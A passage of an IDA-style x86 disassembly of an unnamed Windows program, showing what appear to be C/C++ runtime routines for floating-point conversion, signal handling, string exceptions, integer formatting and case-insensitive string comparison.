jg short loc_425AFC jmp loc_4259EA ; --------------------------------------------------------------------------- loc_425AF9: ; CODE XREF: sub_425973+173j mov edi, [ebp+arg_C] loc_425AFC: ; CODE XREF: sub_425973+17Fj cmp edi, 15h jle short loc_425B04 push 15h pop edi loc_425B04: ; CODE XREF: sub_425973+18Cj movzx esi, [ebp+var_6] sub esi, 3FFEh and [ebp+var_6], 0 mov [ebp+arg_14], 8 loc_425B1A: ; CODE XREF: sub_425973+1B4j lea eax, [ebp+var_10] push eax call sub_425380 dec [ebp+arg_14] pop ecx jnz short loc_425B1A test esi, esi jge short loc_425B44 neg esi and esi, 0FFh jle short loc_425B44 loc_425B37: ; CODE XREF: sub_425973+1CFj lea eax, [ebp+var_10] push eax call sub_4253AE dec esi pop ecx jnz short loc_425B37 loc_425B44: ; CODE XREF: sub_425973+1B8j ; sub_425973+1C2j lea ecx, [edi+1] lea eax, [ebx+4] test ecx, ecx mov [ebp+arg_14], eax jle short loc_425BA1 mov [ebp+arg_C], ecx loc_425B54: ; CODE XREF: sub_425973+229j lea esi, [ebp+var_10] lea edi, [ebp+arg_0] movsd movsd lea eax, [ebp+var_10] push eax movsd call sub_425380 lea eax, [ebp+var_10] push eax call sub_425380 lea eax, [ebp+arg_0] push eax lea eax, [ebp+var_10] push eax call sub_425322 lea eax, [ebp+var_10] push eax call sub_425380 mov al, byte ptr [ebp+var_6+1] mov ecx, [ebp+arg_14] and byte ptr [ebp+var_6+1], 0 add esp, 14h add al, 30h inc [ebp+arg_14] dec [ebp+arg_C] mov [ecx], al jnz short loc_425B54 mov eax, [ebp+arg_14] loc_425BA1: ; CODE XREF: sub_425973+1DCj mov cl, [eax-1] dec eax dec eax cmp cl, 35h lea ecx, [ebx+4] jl short loc_425BDE loc_425BAE: ; CODE XREF: sub_425973+248j cmp eax, ecx jb short loc_425BC1 cmp byte ptr [eax], 39h jnz short loc_425BBD mov byte ptr [eax], 30h dec eax jmp short loc_425BAE ; --------------------------------------------------------------------------- loc_425BBD: ; CODE XREF: sub_425973+242j cmp eax, ecx jnb short loc_425BC5 loc_425BC1: ; CODE XREF: sub_425973+23Dj inc eax inc word ptr [ebx] loc_425BC5: ; CODE XREF: sub_425973+24Cj inc byte ptr [eax] loc_425BC7: ; CODE XREF: sub_425973+279j sub al, bl sub al, 3 mov [ebx+3], al movsx eax, al and byte ptr [eax+ebx+4], 0 loc_425BD6: ; CODE XREF: sub_425973+F0j mov eax, [ebp+var_4] loc_425BD9: ; CODE XREF: sub_425973+291j pop edi pop esi pop ebx leave retn ; --------------------------------------------------------------------------- loc_425BDE: ; CODE XREF: sub_425973+239j ; sub_425973+275j cmp eax, ecx jb short loc_425BEE cmp byte ptr [eax], 30h jnz short loc_425BEA dec eax jmp short loc_425BDE ; --------------------------------------------------------------------------- loc_425BEA: ; CODE XREF: sub_425973+272j cmp eax, ecx jnb short loc_425BC7 loc_425BEE: ; CODE XREF: sub_425973+26Dj and word ptr [ebx], 0 mov byte ptr [ebx+2], 20h mov byte ptr [ebx+3], 1 mov byte ptr [ecx], 30h loc_425BFD: ; CODE XREF: sub_425973+87j and byte ptr [ebx+5], 0 push 1 pop eax jmp short loc_425BD9 sub_425973 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_425C06 proc near ; CODE XREF: sub_422DFC+21DDp arg_0 = dword ptr 8 push ebp mov ebp, esp push esi push edi mov edi, [ebp+arg_0] mov eax, edi dec eax dec eax jz short loc_425C6D dec eax dec eax jz short loc_425C5E sub eax, 4 jz short loc_425C5E sub eax, 3 jz short loc_425C5E sub eax, 4 jz short loc_425C51 sub eax, 6 jz short loc_425C44 dec eax jz short loc_425C37 or eax, 0FFFFFFFFh jmp loc_425D2F ; --------------------------------------------------------------------------- loc_425C37: ; CODE XREF: sub_425C06+27j mov esi, dword_4DC014 mov eax, offset dword_4DC014 jmp short loc_425C78 ; --------------------------------------------------------------------------- loc_425C44: ; CODE XREF: sub_425C06+24j mov esi, dword_4DC010 mov eax, offset dword_4DC010 jmp short loc_425C78 ; --------------------------------------------------------------------------- loc_425C51: ; CODE XREF: sub_425C06+1Fj mov esi, dword_4DC018 mov eax, offset dword_4DC018 jmp short loc_425C78 ; --------------------------------------------------------------------------- loc_425C5E: ; CODE XREF: sub_425C06+10j ; sub_425C06+15j ... push edi call sub_425D33 mov esi, [eax+8] add eax, 8 pop ecx jmp short loc_425C78 ; --------------------------------------------------------------------------- loc_425C6D: ; CODE XREF: sub_425C06+Cj mov esi, dword_4DC00C mov eax, offset dword_4DC00C loc_425C78: ; CODE XREF: sub_425C06+3Cj ; sub_425C06+49j ... cmp esi, 1 jnz short loc_425C84 xor eax, eax jmp loc_425D2F ; --------------------------------------------------------------------------- loc_425C84: ; CODE XREF: sub_425C06+75j test esi, esi jnz short loc_425C8F push 3 call sub_41C1A2 loc_425C8F: ; CODE XREF: sub_425C06+80j push ebx push 8 pop ecx cmp edi, ecx jz short loc_425CA1 cmp edi, 0Bh jz short loc_425CA1 cmp edi, 4 jnz short loc_425CC7 loc_425CA1: ; CODE XREF: sub_425C06+8Fj ; sub_425C06+94j mov ebx, dword_4DBEAC and dword_4DBEAC, 0 cmp edi, ecx jnz short loc_425CF6 mov edx, dword_43D4DC mov dword_43D4DC, 8Ch mov [ebp+arg_0], edx jmp short loc_425CCA ; --------------------------------------------------------------------------- loc_425CC7: ; CODE XREF: sub_425C06+99j mov ebx, [ebp+arg_0] loc_425CCA: ; CODE XREF: sub_425C06+BFj cmp edi, ecx jnz short loc_425CF6 mov eax, dword_43D4D0 mov ecx, dword_43D4D4 add ecx, eax cmp eax, ecx jge short loc_425CFD lea edx, [eax+eax*2] sub ecx, eax lea edx, ds:43D460h[edx*4] loc_425CEB: ; CODE XREF: sub_425C06+ECj and dword ptr [edx], 0 add edx, 0Ch dec ecx jnz short loc_425CEB jmp short loc_425CFD ; --------------------------------------------------------------------------- loc_425CF6: ; CODE XREF: sub_425C06+AAj ; sub_425C06+C6j and dword ptr [eax], 0 cmp edi, ecx jnz short loc_425D0B loc_425CFD: ; CODE XREF: sub_425C06+D7j ; sub_425C06+EEj push dword_43D4DC push 8 call esi pop ecx pop ecx jmp short loc_425D19 ; --------------------------------------------------------------------------- loc_425D0B: ; CODE XREF: sub_425C06+F5j push edi call esi cmp edi, 0Bh pop ecx jz short loc_425D19 cmp edi, 4 jnz short loc_425D2C loc_425D19: ; CODE XREF: sub_425C06+103j ; sub_425C06+10Cj cmp edi, 8 mov dword_4DBEAC, ebx jnz short loc_425D2C mov eax, [ebp+arg_0] mov dword_43D4DC, eax loc_425D2C: ; CODE XREF: sub_425C06+111j ; sub_425C06+11Cj xor eax, eax pop ebx loc_425D2F: ; CODE XREF: sub_425C06+2Cj ; sub_425C06+79j pop edi pop esi pop ebp retn sub_425C06 endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= sub_425D33 proc near ; CODE XREF: sub_425C06+59p arg_0 = dword ptr 4 mov edx, [esp+arg_0] mov ecx, dword_43D4D8 cmp dword_43D45C, edx push esi mov eax, offset dword_43D458 jz short loc_425D61 lea esi, [ecx+ecx*2] lea esi, ds:43D458h[esi*4] loc_425D55: ; CODE XREF: sub_425D33+2Cj add eax, 0Ch cmp eax, esi jnb short loc_425D61 cmp [eax+4], edx jnz short loc_425D55 loc_425D61: ; CODE XREF: sub_425D33+16j ; sub_425D33+27j lea ecx, [ecx+ecx*2] pop esi lea ecx, ds:43D458h[ecx*4] cmp eax, ecx jnb short loc_425D75 cmp [eax+4], edx jz short locret_425D77 loc_425D75: ; CODE XREF: sub_425D33+3Bj xor eax, eax locret_425D77: ; CODE XREF: sub_425D33+40j retn sub_425D33 endp ; =============== S U B R O U T I N E ======================================= sub_425D78 proc near ; CODE XREF: sub_4251BB+8Bp ; sub_4251BB+D9p arg_0 = dword ptr 4 arg_4 = dword ptr 8 mov eax, [esp+arg_0] push esi cmp eax, dword_4DD160 jnb short loc_425DDF mov ecx, eax and eax, 1Fh sar ecx, 5 mov ecx, dword_4DD060[ecx*4] lea edx, [ecx+eax*8+4] mov cl, [ecx+eax*8+4] test cl, 1 jz short loc_425DDF mov al, cl mov esi, 8000h and eax, 80h cmp [esp+4+arg_4], esi jnz short loc_425DB8 and cl, 7Fh jmp short loc_425DC5 ; --------------------------------------------------------------------------- loc_425DB8: ; CODE XREF: sub_425D78+39j cmp [esp+4+arg_4], 4000h jnz short loc_425DD3 or cl, 80h loc_425DC5: ; CODE XREF: sub_425D78+3Ej neg eax sbb eax, eax mov [edx], cl and ax, 0C000h add eax, esi pop esi retn ; --------------------------------------------------------------------------- loc_425DD3: ; CODE XREF: sub_425D78+48j mov dword_4DBDEC, 16h jmp short loc_425DE9 ; --------------------------------------------------------------------------- loc_425DDF: ; CODE XREF: sub_425D78+Bj ; sub_425D78+27j mov dword_4DBDEC, 9 loc_425DE9: ; CODE XREF: sub_425D78+65j or eax, 0FFFFFFFFh pop esi retn sub_425D78 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_425DEE proc near ; CODE XREF: sub_425973+165p ; sub_42600E+69p var_24 = dword ptr -24h var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 24h push ebx mov ebx, [ebp+arg_4] push esi mov esi, [ebp+arg_0] mov cx, [ebx+0Ah] xor eax, eax push edi mov [ebp+var_14], eax mov [ebp+var_24], eax mov [ebp+var_20], eax mov [ebp+var_1C], eax mov ax, [esi+0Ah] mov edi, ecx mov edx, 7FFFh xor edi, eax and eax, edx and ecx, edx and edi, 8000h cmp ax, 7FFFh lea edx, [ecx+eax] mov [ebp+arg_0], edx jnb loc_425FEE cmp cx, 7FFFh jnb loc_425FEE cmp dx, 0BFFDh ja loc_425FEE cmp dx, 3FBFh ja short loc_425E57 xor eax, eax jmp short loc_425E91 ; --------------------------------------------------------------------------- loc_425E57: ; CODE XREF: sub_425DEE+63j test ax, ax mov edx, 7FFFFFFFh jnz short loc_425E79 inc [ebp+arg_0] test [esi+8], edx jnz short loc_425E79 xor eax, eax cmp [esi+4], eax jnz short loc_425E7B cmp [esi], eax jnz short loc_425E7B jmp loc_425FE8 ; --------------------------------------------------------------------------- loc_425E79: ; CODE XREF: sub_425DEE+71j ; sub_425DEE+79j xor eax, eax loc_425E7B: ; CODE XREF: sub_425DEE+80j ; sub_425DEE+84j cmp cx, ax jnz short loc_425E9E inc [ebp+arg_0] test [ebx+8], edx jnz short loc_425E9E cmp [ebx+4], eax jnz short loc_425E9E cmp [ebx], eax jnz short loc_425E9E loc_425E91: ; CODE XREF: sub_425DEE+67j mov [esi+8], eax mov [esi+4], eax mov [esi], eax jmp loc_426009 ; --------------------------------------------------------------------------- loc_425E9E: ; CODE XREF: sub_425DEE+90j ; sub_425DEE+98j ... mov [ebp+var_10], eax lea eax, [ebp+var_20] mov [ebp+var_4], eax mov [ebp+arg_4], 5 loc_425EAE: ; CODE XREF: sub_425DEE+122j mov eax, [ebp+var_10] add eax, eax cmp [ebp+arg_4], 0 jle short loc_425F02 add eax, esi lea ecx, [ebx+8] mov [ebp+var_8], eax mov eax, [ebp+arg_4] mov [ebp+var_C], ecx mov [ebp+var_18], eax loc_425ECA: ; CODE XREF: sub_425DEE+112j mov eax, [ebp+var_8] mov ecx, [ebp+var_C] movzx eax, word ptr [eax] movzx ecx, word ptr [ecx] imul eax, ecx mov ecx, [ebp+var_4] add ecx, 0FFFFFFFCh push ecx push eax push dword ptr [ecx] call sub_425301 add esp, 0Ch test eax, eax jz short loc_425EF5 mov eax, [ebp+var_4] inc word ptr [eax] loc_425EF5: ; CODE XREF: sub_425DEE+FFj add [ebp+var_8], 2 sub [ebp+var_C], 2 dec [ebp+var_18] jnz short loc_425ECA loc_425F02: ; CODE XREF: sub_425DEE+C9j add [ebp+var_4], 2 inc [ebp+var_10] dec [ebp+arg_4] cmp [ebp+arg_4], 0 jg short loc_425EAE add [ebp+arg_0], 0C002h cmp word ptr [ebp+arg_0], 0 jle short loc_425F45 loc_425F20: ; CODE XREF: sub_425DEE+14Ej test byte ptr [ebp+var_1C+3], 80h jnz short loc_425F3E lea eax, [ebp+var_24] push eax call sub_425380 add [ebp+arg_0], 0FFFFh pop ecx cmp word ptr [ebp+arg_0], 0 jg short loc_425F20 loc_425F3E: ; CODE XREF: sub_425DEE+136j cmp word ptr [ebp+arg_0], 0 jg short loc_425F7E loc_425F45: ; CODE XREF: sub_425DEE+130j add [ebp+arg_0], 0FFFFh cmp word ptr [ebp+arg_0], 0 jge short loc_425F7E movsx eax, word ptr [ebp+arg_0] neg eax add [ebp+arg_0], eax mov ebx, eax loc_425F5E: ; CODE XREF: sub_425DEE+184j test byte ptr [ebp+var_24], 1 jz short loc_425F67 inc [ebp+var_14] loc_425F67: ; CODE XREF: sub_425DEE+174j lea eax, [ebp+var_24] push eax call sub_4253AE dec ebx pop ecx jnz short loc_425F5E cmp [ebp+var_14], 0 jz short loc_425F7E or byte ptr [ebp+var_24], 1 loc_425F7E: ; CODE XREF: sub_425DEE+155j ; sub_425DEE+163j ... cmp word ptr [ebp+var_24], 8000h ja short loc_425F95 mov eax, [ebp+var_24] and eax, 1FFFFh cmp eax, 18000h jnz short loc_425FCA loc_425F95: ; CODE XREF: sub_425DEE+196j cmp [ebp+var_24+2], 0FFFFFFFFh jnz short loc_425FC7 and [ebp+var_24+2], 0 cmp [ebp+var_20+2], 0FFFFFFFFh jnz short loc_425FC2 and [ebp+var_20+2], 0 cmp word ptr [ebp+var_1C+2], 0FFFFh jnz short loc_425FBC inc [ebp+arg_0] mov word ptr [ebp+var_1C+2], 8000h jmp short loc_425FCA ; --------------------------------------------------------------------------- loc_425FBC: ; CODE XREF: sub_425DEE+1C1j inc word ptr [ebp+var_1C+2] jmp short loc_425FCA ; --------------------------------------------------------------------------- loc_425FC2: ; CODE XREF: sub_425DEE+1B5j inc [ebp+var_20+2] jmp short loc_425FCA ; --------------------------------------------------------------------------- loc_425FC7: ; CODE XREF: sub_425DEE+1ABj inc [ebp+var_24+2] loc_425FCA: ; CODE XREF: sub_425DEE+1A5j ; sub_425DEE+1CCj ... mov eax, [ebp+arg_0] cmp ax, 7FFFh jnb short loc_425FEE mov cx, word ptr [ebp+var_24+2] or eax, edi mov [esi], cx mov ecx, [ebp+var_20] mov [esi+2], ecx mov ecx, [ebp+var_1C] mov [esi+6], ecx loc_425FE8: ; CODE XREF: sub_425DEE+86j mov [esi+0Ah], ax jmp short loc_426009 ; --------------------------------------------------------------------------- loc_425FEE: ; CODE XREF: sub_425DEE+42j ; sub_425DEE+4Dj ... neg di sbb edi, edi and dword ptr [esi+4], 0 and edi, 80000000h add edi, 7FFF8000h and dword ptr [esi], 0 mov [esi+8], edi loc_426009: ; CODE XREF: sub_425DEE+ABj ; sub_425DEE+1FEj pop edi pop esi pop ebx leave retn sub_425DEE endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_42600E proc near ; CODE XREF: sub_4254A2+440p ; sub_425973+14Cp var_C = byte ptr -0Ch var_A = dword ptr -0Ah arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 0Ch push ebx mov ebx, offset dword_43D838 xor ecx, ecx sub ebx, 60h cmp [ebp+arg_4], ecx jz short loc_426087 jge short loc_426036 mov eax, [ebp+arg_4] mov ebx, offset dword_43D998 neg eax mov [ebp+arg_4], eax sub ebx, 60h loc_426036: ; CODE XREF: sub_42600E+16j cmp [ebp+arg_8], ecx jnz short loc_426041 mov eax, [ebp+arg_0] mov [eax], cx loc_426041: ; CODE XREF: sub_42600E+2Bj cmp [ebp+arg_4], ecx jz short loc_426087 push esi push edi loc_426048: ; CODE XREF: sub_42600E+75j mov eax, [ebp+arg_4] add ebx, 54h sar [ebp+arg_4], 3 and eax, 7 cmp eax, ecx jz short loc_426080 lea eax, [eax+eax*2] cmp word ptr [ebx+eax*4], 8000h lea esi, [ebx+eax*4] jb short loc_426073 lea edi, [ebp+var_C] movsd movsd movsd dec [ebp+var_A] lea esi, [ebp+var_C] loc_426073: ; CODE XREF: sub_42600E+57j push esi push [ebp+arg_0] call sub_425DEE pop ecx pop ecx xor ecx, ecx loc_426080: ; CODE XREF: sub_42600E+49j cmp [ebp+arg_4], ecx jnz short loc_426048 pop edi pop esi loc_426087: ; CODE XREF: sub_42600E+14j ; sub_42600E+36j pop ebx leave retn sub_42600E endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= sub_426090 proc near ; CODE XREF: sub_426173+19p ; sub_42629A+19p arg_0 = dword ptr 4 push esi push [esp+4+arg_0] mov esi, ecx xor eax, eax mov [esi+4], eax mov [esi+8], eax mov [esi+0Ch], eax call sub_41B9C0 pop ecx push eax push [esp+8+arg_0] mov ecx, esi call sub_40D9B3 mov eax, esi pop esi retn 8 sub_426090 endp ; =============== S U B R O U T I N E ======================================= sub_4260BA proc near ; CODE XREF: ___:004260E5p ; sub_426168+6j ... push esi mov esi, ecx push 1 lea ecx, [esi+0Ch] mov dword ptr [esi], offset off_427C90 call sub_40D977 mov ecx, esi pop esi jmp sub_426564 sub_4260BA endp ; =============== S U B R O U T I N E ======================================= sub_4260D5 proc near ; DATA XREF: ___:00427C94o ; ___:00427CA4o ... mov eax, [ecx+10h] test eax, eax jnz short locret_4260E1 mov eax, offset dword_427688 locret_4260E1: ; CODE XREF: sub_4260D5+5j retn sub_4260D5 endp ; --------------------------------------------------------------------------- loc_4260E2: ; DATA XREF: ___:off_427C90o push esi mov esi, ecx call sub_4260BA test byte ptr [esp+8], 1 jz short loc_4260F8 push esi call sub_41D65F pop ecx loc_4260F8: ; CODE XREF: ___:004260EFj mov eax, esi pop esi retn 4 ; =============== S U B R O U T I N E ======================================= sub_4260FE proc near ; CODE XREF: sub_426173+29p mov eax, offset loc_426AE2 call sub_41D640 push ecx push ecx push esi lea eax, [ebp-10h] mov esi, ecx push eax mov [ebp-14h], esi mov dword ptr [ebp-10h], offset dword_427CAC call sub_4264DD push dword ptr [ebp+8] and dword ptr [ebp-4], 0 lea ecx, [esi+0Ch] mov dword ptr [esi], offset off_427C90 call sub_4261B0 mov ecx, [ebp-0Ch] mov dword ptr [esi], offset off_427CA0 mov eax, esi pop esi mov large fs:0, ecx leave retn 4 sub_4260FE endp ; =============== S U B R O U T I N E ======================================= sub_42614C proc near ; DATA XREF: ___:off_427CA0o arg_0 = byte ptr 4 push esi mov esi, ecx call sub_426168 test [esp+4+arg_0], 1 jz short loc_426162 push esi call sub_41D65F pop ecx loc_426162: ; CODE XREF: sub_42614C+Dj mov eax, esi pop esi retn 4 sub_42614C endp ; =============== S U B R O U T I N E ======================================= sub_426168 proc near ; CODE XREF: sub_42614C+3p ; DATA XREF: ___:00428014o mov dword ptr [ecx], offset off_427CA0 jmp sub_4260BA sub_426168 endp ; =============== S U B R O U T I N E ======================================= sub_426173 proc near ; CODE XREF: sub_40D824+13p ; sub_40D9E8+Ep mov eax, offset loc_426AF4 call sub_41D640 sub esp, 30h lea eax, [ebp-0Dh] push eax push offset aInvalidStringP ; "invalid string position" lea ecx, [ebp-20h] call sub_426090 and dword ptr [ebp-4], 0 lea eax, [ebp-20h] push eax lea ecx, [ebp-3Ch] call sub_4260FE push offset dword_428010 lea eax, [ebp-3Ch] push eax call sub_426587 int 3 ; Trap to Debugger sub_426173 endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= sub_4261B0 proc near ; CODE XREF: sub_4260FE+32p ; sub_4261D0+32p ... arg_0 = dword ptr 4 push esi xor eax, eax push 0FFFFFFFFh mov esi, ecx push eax push [esp+0Ch+arg_0] mov [esi+4], eax mov [esi+8], eax mov [esi+0Ch], eax call sub_40D824 mov eax, esi pop esi retn 4 sub_4261B0 endp ; =============== S U B R O U T I N E ======================================= sub_4261D0 proc near ; CODE XREF: sub_42629A+29p mov eax, offset loc_426B06 call sub_41D640 push ecx push ecx push esi lea eax, [ebp-10h] mov esi, ecx push eax mov [ebp-14h], esi mov dword ptr [ebp-10h], offset dword_427CAC call sub_4264DD push dword ptr [ebp+8] and dword ptr [ebp-4], 0 lea ecx, [esi+0Ch] mov dword ptr [esi], offset off_427C90 call sub_4261B0 mov ecx, [ebp-0Ch] mov eax, esi pop esi mov large fs:0, ecx leave retn 4 sub_4261D0 endp ; =============== S U B R O U T I N E ======================================= sub_426218 proc near ; CODE XREF: sub_426282+7p ; sub_4262DE+7p ... mov eax, offset loc_426B18 call sub_41D640 push ecx push esi push edi mov edi, [ebp+8] mov esi, ecx push edi mov [ebp-10h], esi call sub_42651A and dword ptr [ebp-4], 0 add edi, 0Ch push edi lea ecx, [esi+0Ch] mov dword ptr [esi], offset off_427C90 call sub_4261B0 mov ecx, [ebp-0Ch] pop edi mov eax, esi pop esi mov large fs:0, ecx leave retn 4 sub_426218 endp ; =============== S U B R O U T I N E ======================================= sub_42625B proc near ; DATA XREF: ___:off_427CCCo arg_0 = byte ptr 4 push esi mov esi, ecx call sub_426277 test [esp+4+arg_0], 1 jz short loc_426271 push esi call sub_41D65F pop ecx loc_426271: ; CODE XREF: sub_42625B+Dj mov eax, esi pop esi retn 4 sub_42625B endp ; =============== S U B R O U T I N E ======================================= sub_426277 proc near ; CODE XREF: sub_42625B+3p ; DATA XREF: ___:004280BCo mov dword ptr [ecx], offset off_427CCC jmp sub_4260BA sub_426277 endp ; =============== S U B R O U T I N E ======================================= sub_426282 proc near ; CODE XREF: sub_4262F6+46p arg_0 = dword ptr 4 push esi push [esp+4+arg_0] mov esi, ecx call sub_426218 mov dword ptr [esi], offset off_427CA0 mov eax, esi pop esi retn 4 sub_426282 endp ; =============== S U B R O U T I N E ======================================= sub_42629A proc near ; CODE XREF: sub_40D774+15p ; sub_40D7CD+15p ... mov eax, offset loc_426B2A call sub_41D640 sub esp, 30h lea eax, [ebp-0Dh] push eax push offset aStringTooLong ; "string too long" lea ecx, [ebp-20h] call sub_426090 and dword ptr [ebp-4], 0 lea eax, [ebp-20h] push eax lea ecx, [ebp-3Ch] call sub_4261D0 push offset dword_4280B8 lea eax, [ebp-3Ch] push eax mov dword ptr [ebp-3Ch], offset off_427CCC call sub_426587 int 3 ; Trap to Debugger sub_42629A endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= sub_4262DE proc near ; CODE XREF: sub_4262F6+28p arg_0 = dword ptr 4 push esi push [esp+4+arg_0] mov esi, ecx call sub_426218 mov dword ptr [esi], offset off_427CCC mov eax, esi pop esi retn 4 sub_4262DE endp ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn bp-based frame sub_4262F6 proc near ; DATA XREF: ___:00427C98o var_1C = byte ptr -1Ch push ebp mov ebp, esp sub esp, 1Ch push ecx lea ecx, [ebp+var_1C] call sub_426218 push offset dword_4280F8 lea eax, [ebp+var_1C] push eax call sub_426587 int 3 ; Trap to Debugger loc_426314: ; DATA XREF: ___:00427CD4o push ebp mov ebp, esp sub esp, 1Ch push ecx lea ecx, [ebp+var_1C] call sub_4262DE push offset dword_4280B8 lea eax, [ebp+var_1C] push eax call sub_426587 int 3 ; Trap to Debugger loc_426332: ; DATA XREF: ___:00427CA8o push ebp mov ebp, esp sub esp, 1Ch push ecx lea ecx, [ebp+var_1C] call sub_426282 push offset dword_428010 lea eax, [ebp+var_1C] push eax call sub_426587 int 3 ; Trap to Debugger sub_4262F6 endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_426350 proc near ; CODE XREF: sub_40D104+5Ep ; ___:00415771p ... nop jmp near ptr 71AB1B7Bh sub_426350 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_426356 proc near ; CODE XREF: sub_41D2AC+23p ; sub_41D550+13p nop jmp near ptr 286207Fh sub_426356 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_42635C proc near ; CODE XREF: ___:0040B091p arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp cmp [ebp+arg_8], 0Ah jnz short loc_426371 cmp [ebp+arg_0], 0 jge short loc_426371 push 1 push 0Ah jmp short loc_426376 ; --------------------------------------------------------------------------- loc_426371: ; CODE XREF: sub_42635C+7j ; sub_42635C+Dj push 0 push [ebp+arg_8] loc_426376: ; CODE XREF: sub_42635C+13j push [ebp+arg_4] push [ebp+arg_0] call sub_426389 mov eax, [ebp+arg_4] add esp, 10h pop ebp retn sub_42635C endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_426389 proc near ; CODE XREF: sub_42635C+20p arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp cmp [ebp+arg_C], 0 mov ecx, [ebp+arg_4] push ebx push esi push edi jz short loc_4263A3 mov esi, [ebp+arg_0] mov byte ptr [ecx], 2Dh inc ecx neg esi jmp short loc_4263A6 ; --------------------------------------------------------------------------- loc_4263A3: ; CODE XREF: sub_426389+Dj mov esi, [ebp+arg_0] loc_4263A6: ; CODE XREF: sub_426389+18j mov edi, ecx loc_4263A8: ; CODE XREF: sub_426389+43j mov eax, esi xor edx, edx div [ebp+arg_8] mov eax, esi mov ebx, edx xor edx, edx div [ebp+arg_8] cmp ebx, 9 mov esi, eax jbe short loc_4263C4 add bl, 57h jmp short loc_4263C7 ; --------------------------------------------------------------------------- loc_4263C4: ; CODE XREF: sub_426389+34j add bl, 30h loc_4263C7: ; CODE XREF: sub_426389+39j mov [ecx], bl inc ecx test esi, esi ja short loc_4263A8 and byte ptr [ecx], 0 dec ecx loc_4263D2: ; CODE XREF: sub_426389+55j mov dl, [edi] mov al, [ecx] mov [ecx], dl mov [edi], al dec ecx inc edi cmp edi, ecx jb short loc_4263D2 pop edi pop esi pop ebx pop ebp retn sub_426389 endp ; =============== S U B R O U T I N E ======================================= sub_4263E5 proc near ; CODE XREF: sub_41761C+E2p ; sub_41761C+F9p ... arg_0 = dword ptr 4 arg_4 = dword ptr 8 cmp dword_4DBE94, 0 push ebx jnz short loc_42642B mov edx, [esp+4+arg_4] mov ecx, [esp+4+arg_0] loc_4263F7: ; CODE XREF: sub_4263E5+42j mov bx, [ecx] cmp bx, 5Ah ja short loc_426409 cmp bx, 41h jb short loc_426409 add ebx, 20h loc_426409: ; CODE XREF: sub_4263E5+19j ; sub_4263E5+1Fj mov ax, [edx] cmp ax, 5Ah ja short loc_42641B cmp ax, 41h jb short loc_42641B add eax, 20h loc_42641B: ; CODE XREF: sub_4263E5+2Bj ; sub_4263E5+31j inc ecx inc ecx inc edx inc edx test bx, bx jz short loc_42645B cmp bx, ax jz short loc_4263F7 jmp short loc_42645B ; --------------------------------------------------------------------------- loc_42642B: ; CODE XREF: sub_4263E5+8j push esi mov esi, [esp+8+arg_0] push edi mov edi, [esp+0Ch+arg_4] loc_426435: ; CODE XREF: sub_4263E5+72j mov ax, [esi] inc esi push eax inc esi call sub_4265C1 mov ebx, eax mov ax, [edi] inc edi push eax inc edi call sub_4265C1 pop ecx test bx, bx pop ecx jz short loc_426459 cmp bx, ax jz short loc_426435 loc_426459: ; CODE XREF: sub_4263E5+6Dj pop edi pop esi loc_42645B: ; CODE XREF: sub_4263E5+3Dj ; sub_4263E5+44j movzx ecx, ax movzx eax, bx sub eax, ecx pop ebx retn sub_4263E5 endp ; =============== S U B R O U T I N E ======================================= sub_426465 proc near ; CODE XREF: sub_41843B+21p arg_0 = dword ptr 4 push esi mov esi, [esp+4+arg_0] test esi, esi jz short loc_42648C push esi call sub_41B9C0 inc eax push eax call sub_41BEB5 pop ecx test eax, eax pop ecx jz short loc_42648C push esi push eax call sub_41C890 pop ecx pop ecx pop esi retn ; --------------------------------------------------------------------------- loc_42648C: ; CODE XREF: sub_426465+7j ; sub_426465+1Aj xor eax, eax pop esi retn sub_426465 endp ; =============== S U B R O U T I N E ======================================= sub_426490 proc near ; CODE XREF: ___:004264A8p mov dword ptr [ecx], offset off_427CEC mov ecx, [ecx+4] test ecx, ecx jz short locret_4264A4 push ecx call sub_41BA91 pop ecx locret_4264A4: ; CODE XREF: sub_426490+Bj retn sub_426490 endp ; --------------------------------------------------------------------------- loc_4264A5: ; DATA XREF: ___:off_427CECo push esi mov esi, ecx call sub_426490 test byte ptr [esp+8], 1 jz short loc_4264BB push esi call sub_41D65F pop ecx loc_4264BB: ; CODE XREF: ___:004264B2j mov eax, esi pop esi retn 4 ; --------------------------------------------------------------------------- loc_4264C1: ; DATA XREF: ___:off_427CF4o push esi mov esi, ecx call sub_426564 test byte ptr [esp+8], 1 jz short loc_4264D7 push esi call sub_41D65F pop ecx loc_4264D7: ; CODE XREF: ___:004264CEj mov eax, esi pop esi retn 4 ; =============== S U B R O U T I N E ======================================= sub_4264DD proc near ; CODE XREF: sub_4260FE+1Dp ; sub_4261D0+1Dp arg_0 = dword ptr 4 push esi push edi mov edi, [esp+8+arg_0] mov esi, ecx mov dword ptr [esi], offset off_427CF4 push dword ptr [edi] call sub_41B9C0 inc eax push eax call sub_41D9A5 pop ecx mov [esi+4], eax test eax, eax pop ecx jz short loc_42650C push dword ptr [edi] push eax call sub_41C890 pop ecx pop ecx loc_42650C: ; CODE XREF: sub_4264DD+23j mov dword ptr [esi+8], 1 mov eax, esi pop edi pop esi retn 4 sub_4264DD endp ; =============== S U B R O U T I N E ======================================= sub_42651A proc near ; CODE XREF: sub_426218+16p arg_0 = dword ptr 4 push esi push edi mov edi, [esp+8+arg_0] mov 